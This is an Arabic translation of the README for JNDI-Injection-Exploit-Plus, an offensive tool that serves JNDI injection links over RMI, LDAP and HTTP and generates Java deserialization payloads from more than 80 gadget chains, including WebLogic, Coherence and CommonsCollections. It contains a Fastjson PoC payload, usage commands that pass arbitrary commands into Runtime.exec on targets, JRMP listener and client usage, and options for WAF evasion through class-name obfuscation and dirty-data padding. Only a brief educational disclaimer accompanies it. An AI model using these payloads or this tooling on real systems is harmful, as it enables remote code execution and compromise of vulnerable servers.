
يولد روابط حقن JNDI قابلة للعمل وحمولات إلغاء التسلسل مع أكثر من 80 أداة، مع دعم خوادم RMI وLDAP وHTTP لاختبار الثغرات الأمنية الآلي.
JNDI-Injection-Exploit-Plus هي أداة لتوليد روابط JNDI قابلة للاستخدام وتوفير خدمات خلفية عن طريق بدء تشغيل خادم RMI وخادم LDAP وخادم HTTP.
باستخدام هذه الأداة، يمكنك الحصول على روابط JNDI، ويمكنك إدراج هذه الروابط في POC الخاص بك لاختبار الثغرة.
على سبيل المثال، هذا هو Fastjson vul-poc:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
يمكننا استبدال "rmi://127.0.0.1:1099/Object" بالرابط الذي تم إنشاؤه بواسطة JNDI-Injection-Exploit-Plus لاختبار الثغرة.
علاوة على ذلك، يمكنك أيضًا استخدام JNDI-Injection-Exploit-Plus لتوليد أنواع base64/hex من الحمولات مثل ysoserial
إن JNDI-Injection-Exploit أداة رائعة، هذه هي النسخة المطورة منها.
ملاحظة: المزيد من الأدوات (⬆️ ) من ysoserial، مرحبًا بالمزيد من PR! ^_^
مثل ysoserial.
يمكنك توليد حمولات إلغاء التسلسل مع إخراج من نوع Base64 أو HEX
بعض الأغلفة لتغليف بيانات إلغاء التسلسل.
| الغلاف | أمثلة الثغرات |
|---|---|
| Xstream | CVE-2021-39149 |
| Apereo | Apereo 4.1 Deserialization RCE |
| JbossRemoting |
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

إخفاء اسم الفئة لتجاوز WAF.
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F
المرجع: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
POST /deserial/{Gadget}
cmd={command}&wrapper={wrapper}output={base64/hex}
ملاحظة: المعاملات wrapper و output اختيارية

شغّل كالتالي:
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-A] [address]
حيث:
-C - الأمر الذي سيتم تنفيذه في ملف الفئة عن بُعد.
(اختياري، الأمر الافتراضي هو "open /Applications/Calculator.app")
-A - عنوان الخادم الخاص بك، قد يكون عنوان IP أو نطاق.
(اختياري، العنوان الافتراضي هو عنوان أول واجهة شبكة)
نقاط للانتباه:
تأكد من أن منافذ الخادم الخاص بك (1099، 1389، 8180) متاحة.
أو يمكنك تغيير المنفذ الافتراضي في الفئة run.ServerStart.
يتم تمرير الأمر الخاص بك إلى Runtime.getRuntime().exec() كمعاملات،
لذا يجب التأكد من أن الأمر الخاص بك قابل للعمل في الطريقة exec().
الأوامر في bash مثل "bash -c ...." تحتاج إلى إضافة علامات اقتباس مزدوجة.
شغّل كالتالي:
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [base64/hex]
حيث:
-C - الأمر الذي سيتم تنفيذه في ملف الفئة عن بُعد.
(اختياري، الأمر الافتراضي هو "open /Applications/Calculator.app")
-D - اسم أداة (Gadget) إلغاء التسلسل.
-O - (اختياري) نوع إخراج إلغاء التسلسل، الافتراضي هو base64
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
عرض توضيحي محلي:
قم بتشغيل الأداة بهذه الطريقة:
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
لقطة الشاشة:

افترض أننا حقنا روابط JNDI مثل rmi://ADDRESS/remoteExploit8 التي تم إنشاؤها في الخطوة 1 في تطبيق ضعيف يمكن مهاجمته عن طريق حقن JNDI.
في هذا المثال، يبدو كالتالي:
class Test{
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
}
}
ثم عند تشغيل هذا الكود، سيتم تنفيذ الأمر،
وسيتم طباعة السجل في shell:

لمزيد من الأمثلة: Test-JNDI-Injection-Exploit-Plus
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
نتيجة إخراج Base64:

يمكننا اختيار إحدى الطريقتين للحصول على الـ jar.
قم بتنزيل أحدث jar من Realease.
استنساخ الكود المصدري محليًا وبنائه (يتطلب Java 1.8+ و Maven 3.x+).
$ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
$ cd JNDI-Injection-Exploit-Plus
$ mvn clean package -DskipTests
ملاحظة: ‼️ إذا تلقيت خطأ مثل "java.rmi.xxx does not exists"، فيجب عليك تعيين متغير البيئة JAVA_HOME.
جميع المعلومات والكود مقدمة لأغراض تعليمية و/أو اختبار أنظمتك الخاصة لهذه الثغرات.
| الحمولة | المؤلف | التبعيات |
|---|
| Tomcat 8+ أو SpringBoot | @welk1n | trustURLCodebase تكون false ولكن يوجد Tomcat 8+ أو SpringBoot 1.2.x+ في classpath |
| Groovy (GroovyClassLoader) | @cckuailong | trustURLCodebase تكون false ولكن يوجد Tomcat و Groovy في classpath |
| Groovy (GroovyShell) | @cckuailong | trustURLCodebase تكون false ولكن يوجد Tomcat و Groovy في classpath |
| Websphere Readfile | @cckuailong | trustURLCodebase تكون false ولكن يوجد WebSphere v6-v9 في classpath |
| الحمولة | المؤلف | التبعيات |
|---|
| AspectJWeaver | @Jang | aspectjweaver:1.9.2, commons-collections:3.2.2 |
| BeanShell1 | @pwntester, @cschneider4711 | bsh:2.0b5 |
| C3P0 | @mbechler | c3p0:0.9.5.2, mchange-commons-java:0.2.11 |
| C3P0Tomcat | @yulegeyu | tomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11 |
| Click1 | @artsploit | click-nodeps:2.3.0, javax.servlet-api:3.1.0 |
| Clojure | @JackOfMostTrades | clojure:1.8.0 |
| Coherence1 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 |
| Coherence2 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 |
| Coherence3 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 |
| Coherence4 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
| Coherence5 ⬆️ | @cckuailong | coherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
| Coherence6 ⬆️ | @cckuailong | coherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
| CommonsBeanutils1 | @frohoff | commons-beanutils:1.9.2 |
| CommonsBeanutils2 ⬆️ | @cckuailong | commons-beanutils:1.9.2 |
| CommonsCollections1 | @frohoff | commons-collections:3.1 |
| CommonsCollections1_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections2 | @frohoff | commons-collections4:4.0 |
| CommonsCollections2_1 ⬆️ | @cckuailong | commons-collections4:4.0 |
| CommonsCollections3 | @frohoff | commons-collections:3.1 |
| CommonsCollections3_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections4 | @frohoff | commons-collections4:4.0 |
| CommonsCollections5 | @matthias_kaiser, @jasinner | commons-collections:3.1 |
| CommonsCollections5_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections6 | @matthias_kaiser | commons-collections:3.1 |
| CommonsCollections6_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections6_2 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections6_3 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections7 | @scristalli, @hanyrax, @EdoardoVignati | commons-collections:3.1 |
| CommonsCollections7_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections8 ⬆️ | @cckuailong | commons-collections4:4.0 |
| CommonsCollections9 ⬆️ | @cckuailong | commons-collections:3.2.1 |
| CommonsCollections10 ⬆️ | @cckuailong | commons-collections:3.2.1 |
| CommonsCollections11 ⬆️ | @cckuailong | commons-collections:3.1 |
| FileUpload1 | @mbechler | commons-fileupload:1.3.1, commons-io:2.4 |
| Groovy1 | @frohoff | groovy:2.3.9 |
| Hibernate1 | @mbechler | |
| Hibernate2 | @mbechler | |
| Jackson ⬆️ | @y4er | com.fasterxml.jackson.core:jackson-databind:2.14.2 |
| JBossInterceptors1 | @matthias_kaiser | javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| Jdk7u21 | @frohoff | |
| JRMPClient1 | @mbechler | |
| JRMPClient2 ⬆️ | @cckuailong | |
| JRMPClient3 ⬆️ | @cckuailong | |
| JRMPClient4 ⬆️ | @cckuailong | |
| JRMPClient5 ⬆️ | @cckuailong | |
| JRMPClient6 ⬆️ | @cckuailong | |
| JRMPListener1 | @cckuailong | |
| JSON1 | @mbechler | json-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 |
| JavassistWeld1 | @matthias_kaiser | javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| Jython1 | @pwntester, @cschneider4711 | jython-standalone:2.5.2 |
| MozillaRhino1 | @matthias_kaiser | js:1.7R2 |
| MozillaRhino2 | @_tint0 | js:1.7R2 |
| Myfaces1 | @mbechler | |
| Myfaces2 | @mbechler | |
| ROME1 | @mbechler | rome:1.0 |
| ROME2 ⬆️ | @firebasky | rome:1.0 |
| Scala1 ⬆️ | @jarij | org.scala-lang:scala-library:2.13.x |
| Spring1 | @frohoff | spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE |
| Spring2 | @mbechler | spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 |
| Spring3 ⬆️ | @cckuailong | spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2 |
| URLDNS | @gebl | jre فقط للكشف عن الثغرات |
| Vaadin1 | @kai_ullrich | vaadin-server:7.7.14, vaadin-shared:7.7.14 |
| Weblogic1 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0 |
| Weblogic2 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0 |
| Weblogic3 ⬆️ | @cckuailong | com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager |
| Weblogic4 ⬆️ | @cckuailong | weblogic.common.internal.WLObjectOutputStream |
| Weblogic5 ⬆️ | @cckuailong | weblogic:12.2.1.4, coherence |
| Weblogic6 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4 |
| Weblogic7 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4 |
| Weblogic8 ⬆️ | @cckuailong | weblogic:12.2.1.3, 12.2.1.4, 14.1.1.0 |
| Weblogic9 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0 |
| Weblogic10 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0 |
| Weblogic11 ⬆️ | @cckuailong | weblogic:12.2.1.3, 12.2.1.4, 14.1.1.0 |
| Wicket1 | @jacob-baines | wicket-util:6.23.0, slf4j-api:1.6.4 |
| WildFly1 ⬆️ | @hugow | org.wildfly:wildfly-connector:26.0.1.Final |
| Jboss Remoting Port Unserialization |
| Gzip | بعض واجهات yonyou تستخدم Gzip |
| Dirty | إدراج الكثير من البيانات القذرة لتجاوز WAF |